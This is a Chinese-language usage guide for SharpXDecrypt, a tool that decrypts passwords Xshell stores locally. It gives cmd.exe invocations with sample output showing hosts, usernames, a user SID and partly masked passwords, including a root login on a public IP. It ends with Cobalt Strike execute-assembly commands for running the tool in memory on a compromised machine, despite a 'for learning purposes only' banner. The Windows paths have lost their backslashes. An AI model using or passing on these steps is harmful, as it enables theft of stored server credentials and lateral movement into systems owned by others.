Xshell全版本密码恢复工具使用方法

项目地址

https://github.com/JDArmy/SharpXDecrypt

 

简介

Xshell全版本凭证一键恢复工具，针对Xshell全版本在本地保存的密码进行解密，包括最新的7系列版本！

使用方法

cmd.exe 自动寻找session路径

 

C:UsersasusDesktopDEVSharpXDecryptinDebug> .SharpXDecrypt.exe


Xshell全版本凭证一键导出工具!(支持最新Xshell 7系列版本!)
Author: 0pen1
Github: https://github.com/JDArmy
[!] WARNING: For learning purposes only,please delete it within 24 hours after downloading!


[*] Start GetUserPath....
UserPath: E:NetSarang Computerxshell6
UserPath: C:UsersasusDocumentsNetSarang Computer7
[*] Get UserPath Success !


[*] Start GetUserSID....
Username: asus
userSID: S-1-5-21-736521517-423******97-1340300005-1001
[*] GetUserSID Success !


XSHPath: E:NetSarang Computerxshell6XshellSessions192.168.1.110.xsh
Host: 192.168.1.110
UserName: wwwuser
Password: www*******Aqx
Version: 6.0


XSHPath: C:UsersasusDocumentsNetSarang Computer7XshellSessions192.168.1.110.xsh
Host: 192.168.1.110
UserName: wwwuser
Password: ww********Aqx
Version: 7.1


XSHPath: C:UsersasusDocumentsNetSarang Computer7XshellSessionsTokyo.xsh
Host: 198.13.51.134
UserName: root
Password: W8*********PN__%
Version: 7.1

 

cmd.exe 指定session路径

 

C:UsersasusDesktopDEVSharpXDecryptinRelease> .SharpXDecrypt.exe "C:UsersasusDocumentsNetSarang Computer7XshellSessions"


Xshell全版本凭证一键导出工具!(支持Xshell 7.0+版本)
Author: 0pen1
Github: https://github.com/JDArmy
[!] WARNING: For learning purposes only,please delete it within 24 hours after downloading!


[*] Start GetUserSID....
  Username: asus
  userSID: S-1-5-21-736521517-4232353097-1340300005-1001
[*] GetUserSID Success !


  XSHPath: C:UsersasusDocumentsNetSarang Computer7XshellSessions192.168.1.110.xsh
  Host: 192.168.1.110
  UserName: wwwuser
Password: www*******qx
Version: 7.1


  XSHPath: C:UsersasusDocumentsNetSarang Computer7XshellSessions新建会话.xsh
  Host: 127.0.0.1
  UserName: root
Password: 78******6
Version: 7.1


[*] read done!

 

Cobalt Strike

 

execute-assembly /path/to/SharpXDecrypt.exe
execute-assembly /path/to/SharpXDecrypt.exe  "C:UsersasusDocumentsNetSarang Computer7XshellSessions"